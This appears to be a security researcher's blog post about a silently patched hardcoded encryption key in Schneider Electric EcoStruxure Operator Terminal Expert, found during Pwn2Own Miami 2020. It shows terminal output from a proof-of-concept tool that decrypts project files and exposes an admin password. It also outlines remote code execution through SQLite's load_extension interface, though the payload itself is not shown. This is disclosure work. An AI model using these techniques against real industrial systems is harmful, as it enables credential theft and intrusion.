Last month, Chris and I competed at Pwn2Own Miami 2020 targeting several ICS applications. One of the applications that we targeted was the Schneider Electric EcoStruxure Operator Terminal Expert. This blog post talks about a silent patch that was introduced before the competition that subsequently killed several bugs in our exploit chain.
In this post, one of the bugs that was in our chain will be revealed coupled with an exploit that can help network penetration testers and red teams to pivot through a compromised network.
As Cim hints out in his blog post, he could pack and unpack project files even though encryption was in play. This is because one of the bugs that was silently patched was a hardcoded cryptographic key that was being used to encrypt and decrypt the project file.
Since this was a silent patch, let’s be clear about what was vulnerable and what was not:
EcoStruxure Operator Terminal Expert V3.1.iso- SHA1:
This version is vulnerable and released 20/9/2019.
This version is not vulnerable and released 20/12/2019.
The project file (.vxdz) was a simple zip compressed file that could be extracted.
saturn:~ mr_me$ unzip -d sample sample.vxdz Archive: sample.vxdz extracting: sample/Alarm.db extracting: sample/AllDataLogging.dat extracting: sample/contents.inf extracting: sample/Converters.dat extracting: sample/hierarchy.inf extracting: sample/Language.db extracting: sample/logging.dat extracting: sample/Project.dat extracting: sample/Recipe.Binding.dat extracting: sample/Recipe.db extracting: sample/RecipeControls.dat extracting: sample/scripts.inf extracting: sample/Security.db extracting: sample/SystemKeypad.inf extracting: sample/Target.Binding.dat extracting: sample/Target.dat extracting: sample/Validations.dat extracting: sample/Variables.db extracting: sample/Screens/panel1.binding.dat extracting: sample/Screens/panel1.dat extracting: sample/Scripts/panel0.binding.dat extracting: sample/Scripts/panel0.dat extracting: sample/[Content_Types].xml saturn:~ mr_me$ file sample/Security.db sample/Security.db: data saturn:~ mr_me$ strings sample/Security.db ]3uU B~ J|)o JdnAq ER$_0 pPQ$M
When attempting to determine the file types of the .db files and/or inspect their content, we can quickly see that the files are encrypted and compressed using deflate. Normally this wouldn’t be an issue, but the Security.db file can contain sensitive information such as usernames and passwords.
saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <projectfile> [options <pack/unpack>] (+) eg: ./poc.py sample.vxdz unpack (+) eg: ./poc.py sample.vxdz pack saturn:~ mr_me$ ./poc.py sample.vxdz unpack (+) unpacking to sample (+) unpacking: sample/Validations.dat (+) unpacking: sample/Screens/panel1.binding.dat (+) unpacking: sample/Recipe.Binding.dat (+) unpacking: sample/RecipeControls.dat (+) unpacking: sample/hierarchy.inf (+) unpacking: sample/Alarm.db (+) unpacking: sample/Recipe.db (+) unpacking: sample/Project.dat (+) unpacking: sample/Screens/panel1.dat (+) unpacking: sample/Language.db (+) unpacking: sample/scripts.inf (+) unpacking: sample/Target.Binding.dat (+) unpacking: sample/Target.dat (+) unpacking: sample/AllDataLogging.dat (+) unpacking: sample/logging.dat (+) unpacking: sample/Scripts/panel0.binding.dat (+) unpacking: sample/Scripts/panel0.dat (+) unpacking: sample/Converters.dat (+) unpacking: sample/Security.db (+) unpacking: sample/SystemKeypad.inf (+) unpacking: sample/Variables.db (+) unpacking: sample/contents.inf (+) unpacking: sample/[Content_Types].xml (+) unpacked and decrypted: sample.vxdz saturn:~ mr_me$ file sample/Security.db sample/Security.db: SQLite 3.x database, last written using SQLite version 3008010 saturn:~ mr_me$ strings sample/Security.db | grep admin admins admin09cfb7e71f097ebfed99e3ca3ba5d8b9e26162e19d03949566df9a12097d3bb2 adminthe master admin userThisIsASecretPassword!^L4G saturn:~ mr_me$
Using the PoC we developed, it’s possible to expose passwords inside of .vdxz files and in the example above, we can see that the password
ThisIsASecretPassword! was exposed.
Remote Code Execution
Not only was the FTS3 extension enabled in the SQLite binary for EcoStruxure Operator Terminal Expert, but it was also using an outdated version:
22.214.171.124. The checkpoint blog post had all the ingredients to trigger the bug using query hijacking and craft a working remote code execution exploit using just CVE-2019-8602. However, there was a simpler way.
As it turned out, the SQLite binary shipped also had the
sqlite3_load_extension interface enabled, meaning that it was simple to gain remote code execution using the following payload:
The patch that Schneider released in SP1 was essentially to encrypt files using a per project password, instead of using a hardcoded encryption key.
Additionally the SQLite binary that was shipped in SP1 had the FTS3 extension and
sqlite3_load_extension interface disabled.
Whilst no CVE was issued, having knowledge of the hardcoded key may aid in network pivoting as sensitive information can be revealed if .vdxz files are found within a network.
An advisory and poc exploit can be found here.